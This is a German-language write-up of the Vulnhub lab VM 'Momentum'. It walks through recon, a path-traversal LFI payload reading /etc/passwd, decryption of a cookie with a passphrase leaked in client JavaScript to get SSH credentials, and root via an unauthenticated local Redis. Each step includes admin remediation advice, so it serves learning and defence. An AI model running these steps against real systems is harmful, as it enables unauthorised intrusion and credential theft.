Momentum - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
wget
wfuzz
Online AES Decryptor
ssh
cat
sudo (versucht)
ls
id
find
ss
telnet
ps
redis-cli
su
grep
Web Browser
JavaScript Analysis

Inhaltsverzeichnis

Reconnaissance

Die erste Phase des Tests umfasst die Identifizierung des Zielsystems im Netzwerk und die Analyse der offenen Ports und Dienste.

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.119	08:00:27:fa:26:02	PCS Systemtechnik GmbH
                     

Analyse: `arp-scan -l` sendet ARP-Anfragen, um aktive Hosts im lokalen Netzwerk zu finden.

Bewertung: Ein aktiver Host wurde unter der IP `192.168.2.119` identifiziert. Die MAC-Adresse (`08:00:27:fa:26:02`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Wir definieren einen Hostnamen in der lokalen Hosts-Datei.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.119   momentum.vln
                     

Analyse: Der Hostname `momentum.vln` wird der IP `192.168.2.119` in der lokalen `/etc/hosts`-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.

Ein Nikto-Scan wird gegen den Webserver auf Port 80 ausgeführt.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.119
- Nikto v2.5.0
+ Target IP:          192.168.2.119
+ Target Hostname:    192.168.2.119
+ Target Port:        80
+ Start Time:         2023-09-16 23:45:39 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ /: Server may leak inodes via ETags, header found with file /, inode: 7d1, size: 5c086352f5b80, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . 
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2023-09-16 23:46:04 (GMT2) (25 seconds)
+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver auf Port 80.

Bewertung: Identifiziert Apache 2.4.38 (Debian) als veraltet. Meldet fehlende Security Header und ETag-Leak. Findet mehrere Verzeichnisse mit aktiviertem Directory Indexing (`/css/`, `/img/`, `/manual/images/`) sowie das Apache-Handbuch (`/manual/`) und die Standarddatei `/icons/README`.

Empfehlung (Pentester): Untersuchen Sie die Verzeichnisse mit Directory Indexing, insbesondere `/img/` und `/css/`, auf interessante Dateien. Überprüfen Sie das Apache-Handbuch auf Konfigurationshinweise.
Empfehlung (Admin):** Aktualisieren Sie Apache. Implementieren Sie Security Header. Deaktivieren Sie Directory Indexing und entfernen Sie das Apache-Handbuch sowie Standarddateien.

Ein umfassender Nmap-Scan wird durchgeführt.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.119 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-16 23:45 CEST
Nmap scan report for Momentum (192.168.2.119) 
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION 
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
| ssh-hostkey:
|   2048 5c:8e:2c:cc:c1:b0:3e:7c:0e:22:34:d8:60:31:4e:62 (RSA)
|   256 81:fd:c6:4c:5a:50:0a:27:ea:83:38:64:b9:8b:bd:c1 (ECDSA)
|_  256 c1:8f:87:c1:52:09:27:60:5f:2e:2d:e0:08:03:72:c8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Momentum | Index
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:FA:26:02 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.17 ms Momentum (192.168.2.119)
                     

Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`).

Bewertung: Bestätigt die Ergebnisse des vorherigen gefilterten Scans: Nur Port 22 (SSH, OpenSSH 7.9p1 Debian 10) und Port 80 (HTTP, Apache 2.4.38 Debian) sind offen. Das Betriebssystem wird als Debian 10 / Linux Kernel 4.15 - 5.6 identifiziert.

Empfehlung (Pentester): Die Angriffsfläche ist klein und konzentriert sich auf SSH und den Webserver. Fahren Sie mit der Web-Enumeration fort.
Empfehlung (Admin):** Aktualisieren Sie Apache und OpenSSH. Eine minimale Angriffsfläche ist gut, aber die laufenden Dienste sollten aktuell sein.

Wir filtern die offenen Ports zur Übersicht.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.119 -p- | grep open
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die beiden offenen Ports 22 und 80.

Empfehlung (Pentester): Fokus auf diese beiden Dienste.
Empfehlung (Admin):** Notwendigkeit prüfen, Dienste aktuell halten.

Web Enumeration

Wir untersuchen den Webserver auf Port 80 genauer auf versteckte Dateien, Verzeichnisse und Hinweise.

Ein Gobuster-Scan wird durchgeführt:

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://momentum.vln -x [...] -w "[...]" -b '403,404' -e --no-error
http://momentum.vln/index.html           (Status: 200) [Size: 2001]
http://momentum.vln/img                  (Status: 301) [Size: 310] [--> http://momentum.vln/img/]
http://momentum.vln/css                  (Status: 301) [Size: 310] [--> http://momentum.vln/css/]
http://momentum.vln/manual               (Status: 301) [Size: 313] [--> http://momentum.vln/manual/] 
http://momentum.vln/js                   (Status: 301) [Size: 309] [--> http://momentum.vln/js/]
                    

Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot.

Bewertung: Findet Standard-Webverzeichnisse (`img`, `css`, `js`) und das Apache-Handbuch (`manual`), das bereits von Nikto gemeldet wurde. Keine unerwarteten Pfade auf dieser Ebene.

Empfehlung (Pentester): Untersuchen Sie die Inhalte der gefundenen Verzeichnisse, insbesondere `/js/` und `/img/`, auf interessante Dateien oder Hinweise.
Empfehlung (Admin):** Entfernen Sie das Apache-Handbuch (`/manual/`).

Herunterladen einer Bilddatei aus dem `/img`-Verzeichnis:

┌──(root㉿cycat)-[~] └─# wget http://momentum.vln/img/b.jpg
--2023-09-16 23:49:27--  http://momentum.vln/img/b.jpg
Auflösen des Hostnamens momentum.vln (momentum.vln)… 192.168.2.119
Verbindungsaufbau zu momentum.vln (momentum.vln)|192.168.2.119|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 320201 (313K) [image/jpeg]
Wird in b.jpg gespeichert.

b.jpg                   100%[===================>] 312,70K  --.-KB/s    in 0,001s

2023-09-16 23:49:27 (213 MB/s) - b.jpg gespeichert [320201/320201]
                    

Analyse: Die Datei `b.jpg` aus dem `/img`-Verzeichnis wird heruntergeladen.

Bewertung: Download erfolgreich. Die Datei sollte auf versteckte Informationen untersucht werden (Metadaten, Steganographie).

Empfehlung (Pentester): Analysieren Sie `b.jpg` mit `exiftool` oder Steganographie-Tools. Untersuchen Sie andere Dateien in `/img/` und `/js/`.
Empfehlung (Admin):** Bereinigen Sie Metadaten aus Bildern.

Analyse einer JavaScript-Datei:

function viewDetails(str) {
  window.location.href = "opus-details.php?id="+str;
}

/*
var CryptoJS = require("crypto-js");
var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
console.log(decrypted.toString(CryptoJS.enc.Utf8));
*/
                    

Analyse: Der Inhalt der Datei `main.js` wird untersucht.

Bewertung: **Kritischer Fund!** Ein auskommentierter Codeblock enthält JavaScript-Code zur AES-Entschlüsselung mit CryptoJS. Entscheidend ist das **hartkodierte Passwort/Secret:** `SecretPassphraseMomentum`. Die Funktion `viewDetails` zeigt außerdem, dass es eine Seite `opus-details.php` gibt, die einen `id`-Parameter erwartet.

Empfehlung (Pentester): 1. Notieren Sie das Passwort `SecretPassphraseMomentum`. Es könnte für SSH, Benutzerkonten oder zur Entschlüsselung anderer Daten verwendet werden. 2. Untersuchen Sie die Seite `opus-details.php`. Sie könnte LFI, SQLi oder andere Schwachstellen enthalten, insbesondere im `id`-Parameter. Suchen Sie nach AES-verschlüsselten Daten (z.B. in Cookies, Local Storage, anderen JS-Dateien), die mit dem gefundenen Passwort entschlüsselt werden können.
Empfehlung (Admin):** Entfernen Sie niemals sensible Informationen wie Passwörter oder Secrets durch einfaches Auskommentieren aus Code, der an den Client gesendet wird. Der Code sollte serverseitig bereinigt werden. Überprüfen Sie `opus-details.php` auf Schwachstellen.

Untersuchung der Seite `opus-details.php` (implizit durch nächsten Schritt):

Analyse: Die Seite `opus-details.php` wird aufgerufen, vermutlich mit verschiedenen Werten für den `id`-Parameter.

Bewertung: Bei bestimmten Aufrufen (oder standardmäßig) setzt diese Seite einen Cookie, dessen Wert AES-verschlüsselt ist.

Empfehlung (Pentester): Extrahieren Sie den Wert des Cookies und entschlüsseln Sie ihn mit dem Passwort `SecretPassphraseMomentum`.
Empfehlung (Admin):** Vermeiden Sie die Speicherung sensibler Daten in Cookies, insbesondere wenn der Schlüssel clientseitig verfügbar ist. Verwenden Sie serverseitige Sessions.

Credential Discovery (AES & LFI)

Wir nutzen die gefundenen Hinweise (LFI-Potenzial, AES-Passwort), um Zugangsdaten zu gewinnen.

Versuch einer Local File Inclusion (LFI) über `opus-details.php` mit `wfuzz`:

┌──(root㉿cycat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://momentum.vln/opus-details.php?FUZZ=../../../../etc/passwd" --hc 400,401,402,403,404 --hh 171
 
Target: http://momentum.vln/opus-details.php?FUZZ=../../../../etc/passwd
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000519:   200        9 L      15 W       193 Ch      "id"

=====================================================================
Total time: 127.7949
Processed Requests: 220550
Filtered Requests: 220549
Requests/sec.: 1725.811
                    

Analyse: `wfuzz` testet verschiedene URL-Parameter als Ersatz für `FUZZ` in der URL `http://momentum.vln/opus-details.php?FUZZ=../../../../etc/passwd`. Es wird versucht, durch Parameter-Manipulation eine LFI zu finden, um `/etc/passwd` einzubinden. `--hh 171` filtert Antworten mit der Standardgröße.

Bewertung: Erfolg! Der Payload `id` (d.h. die URL `http://momentum.vln/opus-details.php?id=../../../../etc/passwd`) liefert eine Antwort mit anderer Größe. Dies bestätigt eine **LFI-Schwachstelle** im `id`-Parameter von `opus-details.php`.

Empfehlung (Pentester): Nutzen Sie die LFI, um sensible Dateien zu lesen (`/etc/passwd`, `/etc/shadow`, SSH-Keys, Quellcode von `opus-details.php` etc.).
Empfehlung (Admin):** **Dringend:** Beheben Sie die LFI-Schwachstelle in `opus-details.php` durch Validierung und Sanitisierung des `id`-Parameters. Verwenden Sie keine Benutzereingaben direkt in Dateipfad-Operationen.

Extrahieren und Entschlüsseln des Cookies:

Cookie: U2FsdGVkX193yTKucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt
                     
Tool: https://www.browserling.com/tools/aes-decrypt
Password: SecretPassphraseMomentum
Ausgabe: auxerre-alienum
                     

Analyse: Der Wert des Cookies, der von `opus-details.php` gesetzt wird, wird extrahiert. Dieser Wert (`U2FsdGVkX1...`) ist Base64-kodiert und sieht nach einem Salted AES-Ciphertext aus (typisch für CryptoJS). Er wird mit dem zuvor im JavaScript gefundenen Passwort `SecretPassphraseMomentum` mithilfe eines Online-AES-Decryptors entschlüsselt.

Bewertung: **Kritischer Fund!** Die Entschlüsselung ergibt den String `auxerre-alienum`. Dies sieht stark nach einem Benutzernamen (`auxerre`) und einem Passwort (`alienum`) aus, getrennt durch einen Bindestrich.

Empfehlung (Pentester): Versuchen Sie, sich mit den Zugangsdaten `auxerre` / `alienum` per SSH (Port 22) anzumelden.
Empfehlung (Admin):** Speichern Sie keine Zugangsdaten (auch nicht verschlüsselt) in Cookies, wenn der Schlüssel clientseitig verfügbar ist. Verwenden Sie sichere serverseitige Sessions.

Initial Access

Wir nutzen die entschlüsselten Zugangsdaten, um uns per SSH anzumelden.

┌──(root㉿cycat)-[~] └─# ssh auxerre@momentum.vln
The authenticity of host 'momentum.vln (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:NLUFYImFHvyED76cAzjnxD3dTxP5rzmEHrx4acGvM9c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'momentum.vln' (ED25519) to the list of known hosts.
auxerre@momentum.vln's password: alienum 
Linux Momentum 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 22 08:47:31 2021
auxerre@Momentum$
                    

Analyse: Versuch, sich per SSH als Benutzer `auxerre` mit dem Passwort `alienum` anzumelden. (Hinweis: Der entschlüsselte String war `auxerre-alienum`, aber nur `alienum` scheint als Passwort zu funktionieren).

Bewertung: Erfolg! Initial Access wurde erlangt. Wir haben eine Shell als Benutzer `auxerre`.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `auxerre`.
Empfehlung (Admin):** Keine Passwörter (auch nicht verschlüsselt) in Cookies speichern, wenn der Schlüssel clientseitig ist. Starke, einzigartige Passwörter verwenden.

Local Enumeration (Redis)

Nachdem wir Zugriff als `auxerre` haben, untersuchen wir das System lokal.

Prüfung der `sudo`-Rechte:

auxerre@Momentum$ sudo -l
-bash: sudo: command not found
                     

Analyse: Versuch, `sudo -l` auszuführen.

Bewertung: `sudo` ist nicht installiert oder nicht im PATH. Dieser Vektor ist nicht verfügbar.

Empfehlung (Pentester): Suchen Sie nach anderen Privesc-Wegen.
Empfehlung (Admin):** Keine Aktion erforderlich.

Untersuchung des Home-Verzeichnisses:

auxerre@Momentum$ ls -la
total 28
drwxr-xr-x 3 auxerre auxerre 4096 Apr 22  2021 .
drwxr-xr-x 3 root    root    4096 Apr 19  2021 ..
-rw------- 1 auxerre auxerre    0 Apr 22  2021 .bash_history 
-rw-r--r-- 1 auxerre auxerre  220 Apr 19  2021 .bash_logout
-rw-r--r-- 1 auxerre auxerre 3526 Apr 19  2021 .bashrc
-rw-r--r-- 1 auxerre auxerre  807 Apr 19  2021 .profile
drwx------ 2 auxerre auxerre 4096 Apr 21  2021 .ssh 
-rwxr-xr-x 1 auxerre auxerre  146 Apr 22  2021 user.txt 
                     
auxerre@Momentum$ cat user.txt
[ Momentum - User Owned ] 

flag : 84157165c30ad34d18945b647ec7f647
                     

Analyse: Das Home-Verzeichnis wird aufgelistet und `user.txt` gelesen.

Bewertung: **User-Flagge gefunden!** Enthält auch ein `.ssh`-Verzeichnis.

Empfehlung (Pentester): Flagge notieren. Untersuchen Sie das `.ssh`-Verzeichnis auf private Schlüssel. Fahren Sie mit der Enumeration fort (SUID, Netzwerkdienste).
Empfehlung (Admin):** Keine Aktion.

Überprüfung der Benutzer-ID:

auxerre@Momentum$ id
uid=1000(auxerre) gid=1000(auxerre) groups=1000(auxerre),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
                     

Analyse: Zeigt Benutzer- und Gruppeninformationen.

Bewertung: Standardbenutzer ohne spezielle Gruppen (wie `sudo` oder `docker`).

Empfehlung (Pentester): Standardprivilegien bestätigt.
Empfehlung (Admin):** Keine Aktion.

Suche nach SUID-Binaries:

auxerre@Momentum$ find / -type f -perm -4000 -ls 2>/dev/null
     3888     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
       60     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
       62     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
     3562     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
     3890     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
       63     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
       59     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
     3415     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
    12857     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   135895     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
    16204    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
                     

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.

Bewertung: Findet nur Standard-SUID-Binaries für dieses System. Kein offensichtlicher Privesc-Vektor hier.

Empfehlung (Pentester): Suchen Sie nach laufenden Diensten, Netzwerkverbindungen, Konfigurationsdateien.
Empfehlung (Admin):** Minimieren Sie SUID-Binaries.

Analyse des Quellcodes von `opus-details.php`:

auxerre@Momentum$ cat /var/www/html/opus-details.php
 // Added Tag
                     

Analyse: Der Quellcode der PHP-Datei, die wir zuvor auf LFI getestet und für die Cookie-Generierung verantwortlich war, wird angezeigt.

Bewertung: Bestätigt, dass der AES-verschlüsselte Cookie-Wert hartkodiert ist. Enthält keine weiteren offensichtlichen Schwachstellen.

Empfehlung (Pentester): Keine neuen Erkenntnisse hier.
Empfehlung (Admin):** Keine sensiblen Daten im Code speichern.

Überprüfung laufender Netzwerkdienste (lokal):

auxerre@Momentum$ ss -altpn
State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port
LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*
LISTEN      0           128                  127.0.0.1:6379                 0.0.0.0:*         
LISTEN      0           128                       [::]:80                      [::]:*         
LISTEN      0           128                       [::]:22                      [::]:*
LISTEN      0           128                      [::1]:6379                 [::]:*         
                     

Analyse: `ss -altpn` listet lauschende TCP-Sockets auf.

Bewertung: **Wichtiger Fund!** Neben den bekannten Ports 22 (SSH) und 80 (HTTP) lauscht ein Dienst auf Port **6379**, aber **nur auf der Loopback-Adresse** (127.0.0.1 und ::1). Port 6379 ist der Standardport für **Redis**, eine In-Memory-Datenbank.

Empfehlung (Pentester): Da Redis nur lokal erreichbar ist, versuchen Sie, sich von der `auxerre`-Shell aus mit dem Redis-Server zu verbinden (`redis-cli` oder `telnet 127.0.0.1 6379`). Prüfen Sie, ob eine Authentifizierung erforderlich ist. Wenn nicht, enumerieren Sie die Schlüssel (`KEYS *`).
Empfehlung (Admin):** Beschränken Sie den Zugriff auf Redis, wenn möglich, durch ein Passwort (`requirepass` in `redis.conf`). Binden Sie Redis nur an notwendige Interfaces.

Versuch, sich mit Telnet mit dem lokalen Redis-Dienst zu verbinden:

auxerre@Momentum$ telnet 127.0.0.1 6379
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
id 
-ERR unknown command `id`, with args beginning with: 
ls 
-ERR unknown command `ls`, with args beginning with: 
help 
-ERR unknown command `help`, with args beginning with: 

                     

Analyse: Eine Telnet-Verbindung zu Redis wird aufgebaut. Es wird versucht, Shell-Befehle einzugeben.

Bewertung: Die Verbindung ist erfolgreich. Redis antwortet mit Fehlermeldungen auf die Shell-Befehle, was bestätigt, dass es sich um einen Redis-Server handelt und **keine Authentifizierung** erforderlich ist.

Empfehlung (Pentester): Verwenden Sie den `redis-cli`-Client (falls installiert) oder senden Sie gültige Redis-Befehle über Telnet/Netcat, um die Datenbank zu untersuchen (z.B. `KEYS *`, `GET `).
Empfehlung (Admin):** Redis mit einem Passwort sichern!

Überprüfung des laufenden Redis-Prozesses:

auxerre@Momentum$ ps aux | grep 6379
redis      461  0.0  0.4  51672  9492 ?        Ssl  17:44   0:01 /usr/bin/redis-server 127.0.0.1:6379
auxerre    975  0.0  0.0   6076   888 pts/0    S+   18:18   0:00 grep 6379
                     

Analyse: `ps aux` listet Prozesse auf, `grep 6379` filtert nach dem Redis-Port.

Bewertung: Bestätigt, dass der `redis-server`-Prozess läuft und an `127.0.0.1:6379` gebunden ist. Er läuft als Benutzer `redis`.

Empfehlung (Pentester): Fahren Sie mit der Interaktion mit Redis fort.
Empfehlung (Admin):** Keine Aktion.

Proof of Concept (Privilege Escalation via Redis)

Dieser Abschnitt beschreibt, wie durch Interaktion mit dem ungesicherten, lokal laufenden Redis-Dienst das Root-Passwort ausgelesen und zur Privilegienerweiterung genutzt wird.

Kurzbeschreibung: Die lokale Enumeration ergab einen Redis-Server, der ohne Authentifizierung auf Port 6379 (localhost) lauscht. Wir verbinden uns mit `redis-cli`, listen die Schlüssel auf und finden einen Schlüssel namens `rootpass`, der das Root-Passwort enthält.

Voraussetzungen: Shell-Zugriff als Benutzer `auxerre`. Lokal laufender Redis-Server ohne Passwortschutz.

Schritt 1: Interaktion mit Redis

auxerre@Momentum$ redis-cli
127.0.0.1:6379>
127.0.0.1:6379> KEYS *
1) "rootpass"
                     
127.0.0.1:6379> GET rootpass
"m0mentum-al1enum"
127.0.0.1:6379> quit

Analyse: Der `redis-cli`-Client wird gestartet. Der Befehl `KEYS *` listet alle Schlüssel in der Datenbank auf. Es wird ein einziger Schlüssel namens `rootpass` gefunden. Der Befehl `GET rootpass` ruft den Wert dieses Schlüssels ab.

Bewertung: **Kritischer Fund!** Der ungesicherte Redis-Server enthält das Root-Passwort (`m0mentum-al1enum`) im Klartext unter dem Schlüssel `rootpass`.

Empfehlung (Pentester): Verwenden Sie `su root` mit dem gefundenen Passwort `m0mentum-al1enum`, um Root-Rechte zu erlangen.
Empfehlung (Admin):** **Dringend:** Sichern Sie den Redis-Server mit einem starken Passwort (`requirepass`). Speichern Sie niemals Passwörter im Klartext in Datenbanken wie Redis.

Schritt 2: Erlangung von Root-Rechten mit `su`

auxerre@Momentum$ su root
Password: m0mentum-al1enum
root@Momentum:/home/auxerre# 
                     

Analyse: `su root` wird ausgeführt und das aus Redis ausgelesene Passwort eingegeben.

Bewertung: **Fantastisch, der Root-Zugriff war erfolgreich!** Die Speicherung des Root-Passworts im Klartext in einem ungesicherten Redis-Dienst ermöglichte die direkte Privilegienerweiterung.

Empfehlung (Pentester): Bestätigen Sie mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Redis-Sicherheit und Passwortspeicherung.

Risikobewertung:** Die Kombination aus clientseitigem JavaScript, das ein AES-Passwort preisgibt, einem Cookie, der mit diesem Passwort verschlüsselte Zugangsdaten enthält, und einem ungesicherten Redis-Dienst, der das Root-Passwort im Klartext speichert, stellt ein kritisches Risiko dar. Es ermöglichte einem Angreifer mit Netzwerkzugriff die schrittweise Kompromittierung bis hin zu vollen Root-Rechten.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Sichern Sie den Redis-Server mit einem Passwort (`requirepass`).
  • **Dringend:** Speichern Sie keine Passwörter (insbesondere Root) im Klartext in Redis oder anderen Datenbanken.
  • Entfernen Sie sensible Informationen (AES-Schlüssel) aus clientseitigem Code.
  • Vermeiden Sie die Speicherung von Zugangsdaten in Cookies, insbesondere wenn der Schlüssel leicht zugänglich ist.
  • Beheben Sie die LFI-Schwachstelle in `opus-details.php`.
  • Aktualisieren Sie Apache, OpenSSH und das Betriebssystem.
  • Deaktivieren Sie Directory Indexing und entfernen Sie unnötige Dateien/Verzeichnisse.

Flags

cat /home/auxerre/user.txt
flag : 84157165c30ad34d18945b647ec7f647
cat /root/root.txt ???
5C42D6BB0EE9CE4CB7E7349652C45C4A